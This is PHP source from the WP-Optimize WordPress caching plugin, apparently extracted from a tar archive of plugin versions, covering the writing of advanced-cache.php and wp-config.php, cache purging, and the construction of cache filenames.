if (is_admin()) { return; }

if (!defined('WPO_CACHE_DIR')) define('WPO_CACHE_DIR', WP_CONTENT_DIR.'$cache_path');
if (!defined('WPO_CACHE_CONFIG_DIR')) define('WPO_CACHE_CONFIG_DIR', WPO_CACHE_DIR.'/config');
if (!defined('WPO_CACHE_FILES_DIR')) define('WPO_CACHE_FILES_DIR', WP_CONTENT_DIR.'$cache_files_path');
if (false !== \$plugin_location) {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', \$plugin_location.'/extensions');
} else {
	if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', '$cache_extensions_path');
}

if (!@file_exists(WPO_CACHE_CONFIG_DIR . '/$config_file_basename')) { return; }

\$GLOBALS['wpo_cache_config'] = @json_decode(file_get_contents(WPO_CACHE_CONFIG_DIR . '/$config_file_basename'), true);

if (empty(\$GLOBALS['wpo_cache_config'])) {
	include_once(WPO_CACHE_CONFIG_DIR . '/$config_file_basename');
}

if (empty(\$GLOBALS['wpo_cache_config']) || empty(\$GLOBALS['wpo_cache_config']['enable_page_caching'])) { return; }

if (false !== \$plugin_location) { include_once(\$plugin_location.'/file-based-page-cache.php'); }

EOF;

		// phpcs:enable
		$advanced_cache_filename = $this->get_advanced_cache_filename();

		// If the file content is already up to date, success
		if (is_file($advanced_cache_filename) && file_get_contents($advanced_cache_filename) === $this->advanced_cache_file_content) {
			$this->advanced_cache_file_writing_error = false;
			return true;
		}

		// check if we can't write the advanced cache file
		// case 1: the directory is read-only and the file doesn't exist
		if (!is_file($advanced_cache_filename) && !is_writable(dirname($advanced_cache_filename))) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

		// case 2: the file already exists but it's read-only
		if (is_file($advanced_cache_filename) && !is_writable($advanced_cache_filename)) {
			if (version_compare($this->get_advanced_cache_version(), $this->_minimum_advanced_cache_file_version, '<') || $update_required) {
				$this->advanced_cache_file_writing_error = true;
				return false;
			} else {
				$this->advanced_cache_file_writing_error = false;
				return true;
			}
		}

		if (!file_put_contents($this->get_advanced_cache_filename(), $this->advanced_cache_file_content)) {
			$this->advanced_cache_file_writing_error = true;
			return false;
		}

		$this->advanced_cache_file_writing_error = false;
		return true;
	}

	/**
	 * Update advanced cache version if needed.
	 */
	public function maybe_update_advanced_cache() {

		if (!$this->is_enabled()) return;

		if (!defined('WPO_PLUGIN_LOCATION_NOT_FOUND') || (defined('WPO_PLUGIN_LOCATION_NOT_FOUND') && true === WPO_PLUGIN_LOCATION_NOT_FOUND)) {
			if (!$this->write_advanced_cache(true)) {
				add_action('admin_notices', array($this, 'show_admin_notice_advanced_cache'));
			}
		}

		// from 3.0.17 we use more secure way to store cache config files and need update advanced-cache.php
		$advanced_cache_current_version = $this->get_advanced_cache_version();
		if ($advanced_cache_current_version && version_compare($advanced_cache_current_version, $this->_minimum_advanced_cache_file_version, '>=')) return;

		if (!$this->write_advanced_cache()) {
			add_action('admin_notices', array($this, 'notice_advanced_cache_autoupdate_error'));
		} else {
			$this->update_cache_config();
		}
	}

	/**
	 * Show notification when advanced-cache.php could not be updated.
	 */
	public function notice_advanced_cache_autoupdate_error() {
		$this->show_notice(__('The file advanced-cache.php needs to be updated, but the automatic process failed.', 'wp-optimize').
		' <a href="'.admin_url('admin.php?page=wpo_cache').'">'.__('Please try to disable and then re-enable the WP-Optimize cache manually.', 'wp-optimize').'</a>', 'error');
	}

	/**
	 * Get WPO version number from advanced-cache.php file.
	 *
	 * @return bool|mixed
	 */
	public function get_advanced_cache_version() {
		if (!is_file($this->get_advanced_cache_filename())) return false;

		$version = false;
		$content = file_get_contents($this->get_advanced_cache_filename());

		if (preg_match('/WP\-Optimize advanced\-cache\.php \(written by version\: (.+)\)/Ui', $content, $match)) {
			$version = $match[1];
		}

		return $version;
	}

	/**
	 * Set WP_CACHE on or off in wp-config.php
	 *
	 * @param  boolean $status value of WP_CACHE.
	 * @return boolean true if the value was set, false otherwise
	 */
	private function write_wp_config($status = true) {
		// If we changed the value in wp-config, save it, in case we need to change it again in the same run.
		static $changed = false;

		if (defined('WP_CACHE') && WP_CACHE === $status && !$changed) {
			return true;
		}

		$config_path = $this->_get_wp_config();

		// Couldn't find wp-config.php.
		if (!$config_path) {
			return false;
		}

		$config_file_string = file_get_contents($config_path);

		// Config file is empty. Maybe couldn't read it?
		if (empty($config_file_string)) {
			return false;
		}

		$config_file = preg_split("#(\n|\r\n)#", $config_file_string);
		$line_key    = false;

		foreach ($config_file as $key => $line) {
			if (!preg_match('/^\s*define\(\s*(\'|")([A-Z_]+)(\'|")(.*)/i', $line, $match)) {
				continue;
			}

			if ('WP_CACHE' === $match[2]) {
				$line_key = $key;
			}
		}

		if (false !== $line_key) {
			unset($config_file[$line_key]);
		}


		if ($status) {
			array_shift($config_file);
			array_unshift($config_file, '<?php', "define('WP_CACHE', true); // WP-Optimize Cache");
		}

		foreach ($config_file as $key => $line) {
			if ('' === $line) {
				unset($config_file[$key]);
			}
		}
		if (!file_put_contents($config_path, implode(PHP_EOL, $config_file))) {
			return false;
		}
		$changed = true;
		return true;
	}

	/**
	 * Verify we can write to the file system
	 *
	 * @return boolean
	 */
	private function verify_cache() {
		if (function_exists('clearstatcache')) {
			clearstatcache();
		}
		$errors = 0;

		// First check wp-config.php.
		if (!$this->_get_wp_config() && !is_writable($this->_get_wp_config())) {
			$this->log("Unable to write to or find wp-config.php; please check file/folder permissions");
			$this->add_warning('verify_cache', __("Unable to write to or find wp-config.php; please check file/folder permissions.", 'wp-optimize'));
		}

		$advanced_cache_file = untrailingslashit(WP_CONTENT_DIR).'/advanced-cache.php';
		
		// Now check wp-content. We need to be able to create files of the same user as this file.
		if ((!file_exists($advanced_cache_file) || false === strpos(file_get_contents($advanced_cache_file), 'WP-Optimize advanced-cache.php')) && !is_writable($advanced_cache_file) && !is_writable(untrailingslashit(WP_CONTENT_DIR))) {
			$this->log("Unable to write the file advanced-cache.php inside the wp-content folder; please check file/folder permissions");
			$this->add_error('verify_cache', __("Unable to write the file advanced-cache.php inside the wp-content folder; please check file/folder permissions", 'wp-optimize'));
			$errors++;
		}

		if (file_exists(WPO_CACHE_FILES_DIR)) {
			if (!is_writable(WPO_CACHE_FILES_DIR)) {
				$this->log("Unable to write inside the cache files folder; please check file/folder permissions");
				$this->add_warning('verify_cache', sprintf(__("Unable to write inside the cache files folder (%s); please check file/folder permissions (no cache files will be able to be created otherwise)", 'wp-optimize'), WPO_CACHE_FILES_DIR));
			}
		}
		
		if (file_exists(WPO_CACHE_CONFIG_DIR)) {
			if (!is_writable(WPO_CACHE_CONFIG_DIR)) {
				$this->log("Unable to write inside the cache configuration folder; please check file/folder permissions");
				// If the config exists, only send a warning. Otherwise send an error.
				$type = 'warning';
				if (!file_exists(WPO_CACHE_CONFIG_DIR . '/'.$this->get_cache_config_filename())) {
					$type = 'error';
					$errors++;
				}
				$this->add_error('verify_cache', sprintf(__("Unable to write inside the cache configuration folder (%s); please check file/folder permissions", 'wp-optimize'), WPO_CACHE_CONFIG_DIR), $type);
			}
		}

		return !$errors;
	}

	/**
	 * Update cache config. Used to support 3d party plugins.
	 */
	public function update_cache_config() {
		// get current cache settings.
		$current_config = $this->config->get();
		// and call update to change if need cookies and query variable names.
		$this->config->update($current_config, true);
	}

	/**
	 * Delete information about cache size.
	 */
	public function delete_cache_size_information() {
		delete_transient('wpo_get_cache_size');
	}

	/**
	 * Get current cache size.
	 *
	 * @return array
	 */
	public function get_cache_size() {
		$cache_size = get_transient('wpo_get_cache_size');

		if (!empty($cache_size)) return $cache_size;

		$infos = $this->get_dir_infos(WPO_CACHE_FILES_DIR);
		$cache_size = array(
			'size' => $infos['size'],
			'file_count' => $infos['file_count']
		);

		set_transient('wpo_get_cache_size', $cache_size);

		return $cache_size;
	}

	/**
	 * Fetch directory informations.
	 *
	 * @param string $dir
	 * @return array
	 */
	private function get_dir_infos($dir) {
		$dir_size = 0;
		$file_count = 0;

		$handle = is_dir($dir) ? opendir($dir) : false;

		if (false === $handle) {
			return array('size' => 0, 'file_count' => 0);
		}

		$file = readdir($handle);

		while (false !== $file) {

			if ('.' != $file && '..' != $file) {
				$current_file = $dir.'/'.$file;

				if (is_dir($current_file)) {
					$sub_dir_infos = $this->get_dir_infos($current_file);
					$dir_size += $sub_dir_infos['size'];
					$file_count += $sub_dir_infos['file_count'];
				} elseif (is_file($current_file)) {
					$dir_size += filesize($current_file);
					$file_count++;
				}
			}

			$file = readdir($handle);

		}

		return array('size' => $dir_size, 'file_count' => $file_count);
	}

	/**
	 * Returns the path to wp-config
	 *
	 * @return string|boolean wp-config.php path.
	 */
	private function _get_wp_config() {

		$config_path = false;

		foreach (get_included_files() as $filename) {
			if (preg_match('/(\\\\|\/)wp-config\.php$/i', $filename)) {
				$config_path = $filename;
				break;
			}
		}

		// WP-CLI doesn't include wp-config.php that's why we use function from WP-CLI to locate config file.
		if (!$config_path && is_callable('wpo_wp_cli_locate_wp_config')) {
			$config_path = wpo_wp_cli_locate_wp_config();
		}

		return $config_path;
	}

	/**
	 * Util to delete folders and/or files
	 *
	 * @param string $src
	 * @return boolean
	 */
	public static function delete($src) {

		return wpo_delete_files($src);

	}

	/**
	 * Delete cached files for specific url.
	 *
	 * @param string $url
	 * @param bool   $recursive If true child elements will deleted too
	 *
	 * @return bool
	 */
	public static function delete_cache_by_url($url, $recursive = false) {
		if (!defined('WPO_CACHE_FILES_DIR') || '' == $url) return;

		$path = self::get_full_path_from_url($url);

		do_action('wpo_delete_cache_by_url', $url, $recursive);

		return wpo_delete_files($path, $recursive);
	}

	/**
	 * Delete cached files for single post.
	 *
	 * @param integer $post_id The post ID
	 *
	 * @return bool
	 */
	public static function delete_single_post_cache($post_id) {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$post_url = get_permalink($post_id);
	
		$path = self::get_full_path_from_url($post_url);

		// for posts with pagination run purging cache recursively.
		$post = get_post($post_id);
		$recursive = preg_match('/\<\!--nextpage--\>/', $post->post_content) ? true : false;

		do_action('wpo_delete_cache_by_url', $post_url, $recursive);

		return wpo_delete_files($path, $recursive);
	}

	/**
	 * Delete cached home page files.
	 */
	public static function delete_homepage_cache() {
	
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$homepage_url = get_home_url(get_current_blog_id());

		$path = self::get_full_path_from_url($homepage_url);

		do_action('wpo_delete_cache_by_url', $homepage_url, false);

		wpo_delete_files($path, false);
	}

	/**
	 * Delete sitemap cahche.
	 */
	public static function delete_sitemap_cache() {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$homepage_url = get_home_url(get_current_blog_id());

		$path = trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path($homepage_url));

		if (!is_dir($path)) return;

		$handle = opendir($path);

		if (false !== $handle) {
			$file = readdir($handle);

			while (false !== $file) {
	
				if ('.' != $file && '..' != $file && is_dir($path . $file) && preg_match('/.*sitemap.*\.xml/i', $file)) {
					do_action('wpo_delete_cache_by_url', $path . $file, false);
					wpo_delete_files($path . $file, true);
				}
	
				$file = readdir($handle);
			}
		}

		closedir($handle);
	}

	/**
	 * Delete feed from cache.
	 */
	public static function delete_feed_cache() {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$homepage_url = get_home_url(get_current_blog_id());

		$path = self::get_full_path_from_url($homepage_url) . 'feed/';

		do_action('wpo_delete_cache_by_url', $path, true);

		wpo_delete_files($path, true);
	}

	/**
	 * Delete post feed from cache.
	 */
	public static function delete_post_feed_cache($post_id) {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$post_url = get_permalink($post_id);
	
		$path = self::get_full_path_from_url($post_url) . 'feed/';

		do_action('wpo_delete_cache_by_url', $path, true);

		wpo_delete_files($path, true);
	}

	/**
	 * Delete comments feed from cache.
	 */
	public static function delete_comments_feed() {
		if (!defined('WPO_CACHE_FILES_DIR')) return;

		$comments_feed_url = trailingslashit(get_home_url(get_current_blog_id())) . 'comments/feed/';

		$path = self::get_full_path_from_url($comments_feed_url);

		do_action('wpo_delete_cache_by_url', $comments_feed_url, true);

		wpo_delete_files($path, true);

		// delete empty comments dir from the cache
		$comments_url = trailingslashit(get_home_url(get_current_blog_id())) . 'comments/';
		$path = self::get_full_path_from_url($comments_url);

		if (wpo_is_empty_dir($path)) {
			wpo_delete_files($path, true);
		}
	}

	/**
	 * Returns full path to the cache folder by url.
	 *
	 * @param string $url
	 * @return string
	 */
	private static function get_full_path_from_url($url) {
		return trailingslashit(WPO_CACHE_FILES_DIR) . trailingslashit(wpo_get_url_path($url));
	}

	/**
	 * Admin actions
	 *
	 * @return void
	 */
	public function admin_init() {
		// Maybe update the advanced cache.
		if ((!defined('DOING_AJAX') || !DOING_AJAX) && current_user_can('update_plugins')) {
			$this->maybe_update_advanced_cache();
		}
	}

	/**
	 * Logs error messages
	 *
	 * @param  string $message
	 * @return null|void
	 */
	public function log($message) {
		if (isset($this->logger)) {
			$this->logger->log($message, 'error');
		} else {
			error_log($message);
		}
	}

	/**
	 * Returns an instance of the current class, creates one if it doesn't exist
	 *
	 * @return object
	 */
	public static function instance() {
		if (empty(self::$instance)) {
			self::$instance = new self();
		}
		return self::$instance;
	}

	/**
	 * Adds an error to the error store
	 *
	 * @param string $code    - The error code
	 * @param string $message - The error's message
	 * @param string $type    - The error's type (error, warning)
	 * @return void
	 */
	public function add_error($code, $message, $type = 'error') {
		if (!isset($this->_errors[$type])) {
			$this->_errors[$type] = new WP_Error($code, $message);
		} else {
			$this->_errors[$type]->add($code, $message);
		}
	}

	/**
	 * Adds a warning to the error store
	 *
	 * @param string $code    - The error code
	 * @param string $message - The error's message
	 * @return void
	 */
	public function add_warning($code, $message) {
		$this->add_error($code, $message, 'warning');
	}

	/**
	 * Get all recorded errors
	 *
	 * @param string  $type              - The error type
	 * @param boolean $get_messages_only - Whether to get only the messages, or the full WP_Error object
	 * @return boolean|array|WP_Error
	 */
	public function get_errors($type = 'error', $get_messages_only = true) {
		if (!$this->has_errors($type)) return false;
		$errors = $this->_errors[$type];
		if ($get_messages_only) {
			return $errors->get_error_messages();
		}
		return $errors;
	}

	/**
	 * Check if any errors were recorded
	 *
	 * @param string $type - The error type
	 * @return boolean
	 */
	public function has_errors($type = 'error') {
		return isset($this->_errors[$type]) && !empty($this->_errors[$type]) && $this->_errors[$type]->has_errors();
	}

	/**
	 * Check if any warnings were recorded
	 *
	 * @return boolean
	 */
	public function has_warnings() {
		return $this->has_errors('warning');
	}

	/**
	 * Check the cache compatibility issues.
	 */
	public function check_compatibility_issues() {
		if (!$this->is_enabled()) return;

		if ($this->is_pagespeedninja_gzip_active()) add_action('admin_notices', array($this, 'show_pagespeedninja_gzip_notice'));
		if ($this->is_farfutureexpiration_gzip_active()) add_action('admin_notices', array($this, 'show_farfutureexpiration_gzip_notice'));
	}

	/**
	 * Check if PageSpeed Ninja is active and GZIP compression option is enabled.
	 *
	 * @return bool
	 */
	public function is_pagespeedninja_gzip_active() {
		if (!class_exists('PagespeedNinja')) return false;

		$options = get_option('pagespeedninja_config');
		$gzip = !empty($options) ? (bool) $options['psi_EnableGzipCompression'] && (bool) $options['html_gzip'] : false;

		return $gzip;
	}

	/**
	 * Output PageSpeed Ninja Gzip notice.
	 */
	public function show_pagespeedninja_gzip_notice() {
		echo '<div id="wp-optimize-pagespeedninja-gzip-notice" class="error wpo-notice"><p><b>'.__('WP-Optimize:', 'wp-optimize').'</b> '.__('Please disable the feature "Gzip compression" in PageSpeed Ninja to prevent conflicts.', 'wp-optimize').'</p></div>';
	}

	/**
	 * Check if Far Future Expiration is active and GZIP compression option is enabled.
	 *
	 * @return bool
	 */
	public function is_farfutureexpiration_gzip_active() {
		if (!class_exists('farFutureExpiration')) return false;

		$options = get_option('far_future_expiration_settings');
		$gzip = !empty($options) ? (bool) $options['enable_gzip'] : false;

		return $gzip;
	}

	/**
	 * Output Far Future Expiration Gzip notice.
	 */
	public function show_farfutureexpiration_gzip_notice() {
		echo '<div id="wp-optimize-pagespeedninja-gzip-notice" class="error wpo-notice"><p><b>'.__('WP-Optimize:', 'wp-optimize').'</b> '.__('Please disable the feature "Gzip compression" in Far Future Expiration to prevent conflicts.', 'wp-optimize').'</p></div>';
	}

	/**
	 * This is a notice to show users that writing `advanced-cache.php` failed
	 */
	public function show_admin_notice_advanced_cache() {
		$message = sprintf(__('The request to write the file %s failed.', 'wp-optimize'), htmlspecialchars($this->get_advanced_cache_filename()));
		$message .= ' '.__('Please check file and directory permissions on the file paths up to this point, and your PHP error log.', 'wp-optimize');
		WP_Optimize()->include_template('notices/cache-notice.php', false, array('message' => $message));
	}
}

endif;
wp-optimize-versions/wp-optimize.3.2.2/wp-optimize/cache/file-based-page-cache-functions.php000644 000000 000000 00000110221 14173760430 035005 0ustar00rootwheel000000 000000 cms/wordpress<?php

if (!defined('ABSPATH')) die('No direct access allowed');

/**
 * Extensions directory.
 */
if (!defined('WPO_CACHE_EXT_DIR')) define('WPO_CACHE_EXT_DIR', dirname(__FILE__).'/extensions');

/**
 * Holds utility functions used by file based cache
 */

/**
 * Cache output before it goes to the browser. If moving/renaming this function, then also change the check above.
 *
 * @param  String $buffer Page HTML.
 * @param  Int    $flags  OB flags to be passed through.
 *
 * @return String
 */
if (!function_exists('wpo_cache')) :
function wpo_cache($buffer, $flags) {
	
	// This case appears to happen for unclear reasons without WP being fully loaded, e.g. https://wordpress.org/support/topic/fatal-error-since-wp-5-8-update/ . It is simplest just to short-circuit it.
	if ('' === $buffer) return '';
	
	// This array records reasons why no cacheing took place. Be careful not to allow actions to proceed that should not - i.e. take note of its state appropriately.
	$no_cache_because = array();

	if (strlen($buffer) < 255) {
		$no_cache_because[] = sprintf(__('Output is too small (less than %d bytes) to be worth caching', 'wp-optimize'), 255);
	}

	// Don't cache pages for logged in users.
	if (empty($GLOBALS['wpo_cache_config']['enable_user_specific_cache']) && (!function_exists('wpo_we_cache_per_role') || !wpo_we_cache_per_role()) && (!function_exists('is_user_logged_in') || (function_exists('wp_get_current_user') && is_user_logged_in()))) {
		$no_cache_because[] = __('User is logged in', 'wp-optimize');
	}

	$restricted_page_type_cache = apply_filters('wpo_restricted_cache_page_type', false);
	if ($restricted_page_type_cache) {
		$no_cache_because[] = $restricted_page_type_cache;
	}

	// No root cache folder, so short-circuit here
	if (!file_exists(WPO_CACHE_DIR)) {
		$no_cache_because[] = __('WP-O cache parent directory was not found', 'wp-optimize').' ('.WPO_CACHE_DIR.')';
	} elseif (!file_exists(WPO_CACHE_FILES_DIR)) {
		// Try creating a folder for cached files, if it was flushed recently
		if (!mkdir(WPO_CACHE_FILES_DIR)) {
			$no_cache_because[] = __('WP-O cache directory was not found', 'wp-optimize').' ('.WPO_CACHE_FILES_DIR.')';
		} else {
			wpo_disable_cache_directories_viewing();
		}
	}

	// If comments are opened and the user has saved his information.
	if (function_exists('comments_open') && function_exists('get_post') && get_post() && comments_open()) {
		$commenter = wp_get_current_commenter();
		// if any of the fields contain something, do not save to cache
		if ('' != $commenter['comment_author'] || '' != $commenter['comment_author_email'] || '' != $commenter['comment_author_url']) {
			$no_cache_because[] = __('Comments are opened and the visitor saved his information.', 'wp-optimize');
		}
	}

	$can_cache_page = true;
	
	if (defined('DONOTCACHEPAGE') && DONOTCACHEPAGE) {
		$can_cache_page = false;
	}

	/**
	 * Defines if the page can be cached or not
	 *
	 * @param boolean $can_cache_page
	 */
	$can_cache_page_filter = apply_filters('wpo_can_cache_page', $can_cache_page);

	if (!$can_cache_page_filter) {
		if ($can_cache_page) {
			$can_cache_page = false;
			$no_cache_because[] = __('wpo_can_cache_page filter forbade it', 'wp-optimize');
		} else {
			$no_cache_because[] = __('DONOTCACHEPAGE constant forbade it and wpo_can_cache_page filter did not over-ride it', 'wp-optimize');
		}
	}

	if (defined('REST_REQUEST') && REST_REQUEST) {
		$no_cache_because[] = __('This is a REST API request (identified by REST_REQUEST constant)', 'wp-optimize');
	}

	// Don't cache with fatal error pages.
	$last_error = error_get_last();
	if (is_array($last_error) && E_ERROR == $last_error['type']) {
		$no_cache_because[] = __('This page has a fatal error', 'wp-optimize');
	}

	if (http_response_code() >= 500) {
		$no_cache_because[] = sprintf(__('This page has a critical error (HTTP code %s)', 'wp-optimize'), http_response_code());
	} elseif (http_response_code() >= 400) {
		$no_cache_because[] = sprintf(__('This page returned an HTTP unauthorised response code (%s)', 'wp-optimize'), http_response_code());
	}

	if (empty($no_cache_because)) {

		$buffer = apply_filters('wpo_pre_cache_buffer', $buffer, $flags);

		$url_path = wpo_get_url_path();

		$dirs = explode('/', $url_path);

		$path = WPO_CACHE_FILES_DIR;

		foreach ($dirs as $dir) {
			if (!empty($dir)) {
				$path .= '/' . $dir;

				if (!file_exists($path)) {
					if (!mkdir($path)) {
						$no_cache_because[] = __('Attempt to create subfolder within cache directory failed', 'wp-optimize')." ($path)";
						break;
					}
				}
			}
		}
	}

	if (!empty($no_cache_because)) {

		$message = implode(', ', $no_cache_because);

		// Add http headers
		wpo_cache_add_nocache_http_header($message);

		// Only output if the user has turned on debugging output
		if (((defined('WP_DEBUG') && WP_DEBUG) || isset($_GET['wpo_cache_debug'])) && (!defined('DOING_CRON') || !DOING_CRON) && (!defined('REST_REQUEST') || !REST_REQUEST)) {
			$buffer .= "\n<!-- WP Optimize page cache - https://getwpo.com - page NOT cached because: ".htmlspecialchars($message)." -->\n";
		}
		
		return $buffer;
	
	} else {
	
		// Prevent mixed content when there's an http request but the site URL uses https.
		$home_url = get_home_url();

		if (!is_ssl() && 'https' === strtolower(parse_url($home_url, PHP_URL_SCHEME))) {
			$https_home_url = $home_url;
			$http_home_url = str_ireplace('https://', 'http://', $https_home_url);
			$buffer = str_replace(esc_url($http_home_url), esc_url($https_home_url), $buffer);
		}

		$modified_time = time(); // Take this as soon before writing as possible

		$add_to_footer = '';
		
		/**
		 * Filter wether to display the html comment <!-- Cached by WP-Optimize ... -->
		 *
		 * @param boolean $show - Wether to display the html comment
		 * @return boolean
		 */
		if (preg_match('#</html>#i', $buffer) && (apply_filters('wpo_cache_show_cached_by_comment', true) || (defined('WP_DEBUG') && WP_DEBUG))) {
			if (!empty($GLOBALS['wpo_cache_config']['enable_mobile_caching']) && wpo_is_mobile()) {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - for mobile devices - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			} else {
				$add_to_footer .= "\n<!-- Cached by WP-Optimize - https://getwpo.com - Last modified: " . gmdate('D, d M Y H:i:s', $modified_time) . " GMT -->\n";
			}
		}

		// Create an empty index.php file in the cache directory for disable directory viewing.
		if (!is_file($path . '/index.php')) file_put_contents($path . '/index.php', '');

		/**
		 * Save $buffer into cache file.
		 */
		$file_ext = '.html';

		if (wpo_feeds_caching_enabled()) {
			if (is_feed()) {
				$file_ext = '.rss-xml';
			}
		}

		$cache_filename = wpo_cache_filename($file_ext);
		$cache_file = $path . '/' .$cache_filename;

		if (defined('WPO_CACHE_FILENAME_DEBUG') && WPO_CACHE_FILENAME_DEBUG) {
			$add_to_footer .= "\n<!-- WP Optimize page cache debug information -->\n";
			if (!empty($GLOBALS['wpo_cache_filename_debug']) && is_array($GLOBALS['wpo_cache_filename_debug'])) {
				$add_to_footer .= "<!-- \n" . join("\n", array_map('htmlspecialchars', $GLOBALS['wpo_cache_filename_debug'])) . "\n --->";
			}
		}

		// if we can then cache gzipped content in .gz file.
		if (function_exists('gzencode')) {
			// Only replace inside the addition, not inside the main buffer (e.g. post content)
			file_put_contents($cache_file . '.gz', gzencode($buffer.str_replace('by WP-Optimize', 'by WP-Optimize (gzip)', $add_to_footer), apply_filters('wpo_cache_gzip_level', 6)));
		}

		file_put_contents($cache_file, $buffer.$add_to_footer);

		if (is_callable('WP_Optimize')) {
			// delete cached information about cache size.
			WP_Optimize()->get_page_cache()->delete_cache_size_information();
		} else {
			error_log('[WPO_CACHE] WP_Optimize() is not callable.');
			$message = 'Please report this to WP-O support: ';
			if (function_exists('wp_debug_backtrace_summary')) {
				$message .= wp_debug_backtrace_summary();
			} else {
				$message .= wpo_debug_backtrace_summary();
			}
			error_log($message);
		}

		header('Cache-Control: no-cache'); // Check back every time to see if re-download is necessary.
		header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $modified_time) . ' GMT');
		header('WPO-Cache-Status: saving to cache');

		if (wpo_cache_can_output_gzip_content()) {
		
			if (!wpo_cache_is_in_response_headers_list('Content-Encoding', 'gzip')) {
				header('Content-Encoding: gzip');
			}
		
			// disable php gzip to avoid double compression.
			ini_set('zlib.output_compression', 'Off'); // phpcs:ignore WordPress.PHP.DiscouragedPHPFunctions.runtime_configuration_ini_set

			return ob_gzhandler($buffer, $flags);
		} else {
			return $buffer;
		}
	}
}
endif;

/**
 * Load files for support plugins.
 */
if (!function_exists('wpo_cache_load_extensions')) :
function wpo_cache_load_extensions() {
	$extensions = glob(WPO_CACHE_EXT_DIR . '/*.php');

	// Add external extensions
	if (defined('WPO_CACHE_CUSTOM_EXT_DIR') && is_dir(WPO_CACHE_CUSTOM_EXT_DIR)) {
		$extensions = array_merge($extensions, glob(WPO_CACHE_CUSTOM_EXT_DIR . '/*.php'));
	}

	if (empty($extensions)) return;

	foreach ($extensions as $extension) {
		if (is_file($extension)) require_once $extension;
	}
}
endif;

if (!function_exists('wpo_restricted_cache_page_type')) {
function wpo_restricted_cache_page_type($restricted) {
	global $post;

	// Don't cache search or password protected.
	if ((function_exists('is_search') && is_search()) || (function_exists('is_404') && is_404()) || !empty($post->post_password)) {
		$restricted = __('Page type is not cacheable (search, 404 or password-protected)', 'wp-optimize');
	}

	// Don't cache the front page if option is set.
	if (in_array('/', wpo_get_url_exceptions()) && function_exists('is_front_page') && is_front_page()) {

		$restricted = __('In the settings, caching is disabled for the front page', 'wp-optimize');
	}

	// Don't cache htacesss. Remember to properly escape any output to prevent injection.
	if (strpos($_SERVER['REQUEST_URI'], '.htaccess') !== false) {
		$restricted = 'The file path is unsuitable for caching ('.$_SERVER['REQUEST_URI'].')';
	}

	// Don't cache feeds.
	if (function_exists('is_feed') && is_feed() && !wpo_feeds_caching_enabled()) {
		$restricted = __('We don\'t cache RSS feeds', 'wp-optimize');
	}

	return $restricted;
}
}

/**
 * Returns true if we need cache content for loggedin users.
 *
 * @return bool
 */
if (!function_exists('wpo_cache_loggedin_users')) :
function wpo_cache_loggedin_users() {
	return !empty($GLOBALS['wpo_cache_config']['enable_user_caching']) || !empty($GLOBALS['wpo_cache_config']['enable_user_specific_cache']) || (function_exists('wpo_we_cache_per_role') && wpo_we_cache_per_role());
}
endif;

/**
 * Returns true if we need to cache content for loggedin users.
 *
 * @return bool
 */
if (!function_exists('wpo_user_specific_cache_enabled')) :
	function wpo_user_specific_cache_enabled() {
		return !empty($GLOBALS['wpo_cache_config']['enable_user_specific_cache']) && !empty($GLOBALS['wpo_cache_config']['wp_salt_auth']) && !empty($GLOBALS['wpo_cache_config']['wp_salt_logged_in']);
	}
endif;

/**
 * Get filename for store cache, depending on gzip, mobile and cookie settings.
 *
 * @param string $ext
 * @return string
 */
if (!function_exists('wpo_cache_filename')) :
function wpo_cache_filename($ext = '.html') {

	$wpo_cache_filename_debug = array();

	$filename = 'index';

	if (wpo_cache_mobile_caching_enabled() && wpo_is_mobile()) {
		$filename = 'mobile.' . $filename;
	}

	$cookies = wpo_cache_cookies();

	$cache_key = '';

	/**
	 * Add cookie values to filename if need.
	 * This section was inspired by things learned from WP-Rocket.
	 */
	if (!empty($cookies)) {
		foreach ($cookies as $key => $cookie_name) {
			if (is_array($cookie_name) && isset($_COOKIE[$key])) {
				foreach ($cookie_name as $cookie_key) {
					if (isset($_COOKIE[$key][$cookie_key]) && '' !== $_COOKIE[$key][$cookie_key]) {
						$_cache_key = $cookie_key.'='.$_COOKIE[$key][$cookie_key];
						$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
						$cache_key .= '-' . $_cache_key;
						$wpo_cache_filename_debug[] = 'Cookie: name: ' . $key . '[' . $cookie_key . '], value: *** , cache_key:' . $_cache_key;
					}
				}
				continue;
			}

			if (isset($_COOKIE[$cookie_name]) && '' !== $_COOKIE[$cookie_name]) {
				$_cache_key = $cookie_name.'='.$_COOKIE[$cookie_name];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
				$wpo_cache_filename_debug[] = 'Cookie: name: ' . $cookie_name . ', value: *** , cache_key:' . $_cache_key;
			}
		}
	}

	$query_variables = wpo_cache_query_variables();

	/**
	 * Add GET variables to cache file name if need.
	 */
	if (!empty($query_variables)) {
		foreach ($query_variables as $variable) {
			if (isset($_GET[$variable]) && !empty($_GET[$variable])) {
				$_cache_key = $variable.'='.$_GET[$variable];
				$_cache_key = preg_replace('/[^a-z0-9_\-\=]/i', '-', $_cache_key);
				$cache_key .= '-' . $_cache_key;
				$wpo_cache_filename_debug[] = 'GET parameter: name: ' . $variable . ', value:' . htmlentities($_GET[$variable]) . ', cache_key:' . $_cache_key;
			}
		}
	}

	// add hash of queried cookies and variables to cache file name.
	if ('' !== $cache_key) {
		$hash = md5($cache_key);
		$filename .= '-'.$hash;
		$wpo_cache_filename_debug[] = 'Hash: ' . $hash;
	}

	$filename = apply_filters('wpo_cache_filename', $filename);

	$wpo_cache_filename_debug[] = 'Extension: ' . $ext;
	$wpo_cache_filename_debug[] = 'Filename: ' . $filename.$ext;

	$GLOBALS['wpo_cache_filename_debug'] = $wpo_cache_filename_debug;

	return $filename . $ext;
}
endif;

/**
 * Returns site url from site_url() function or if it is not available from cache configuration.
 */
if (!function_exists('wpo_site_url')) :
function wpo_site_url() {
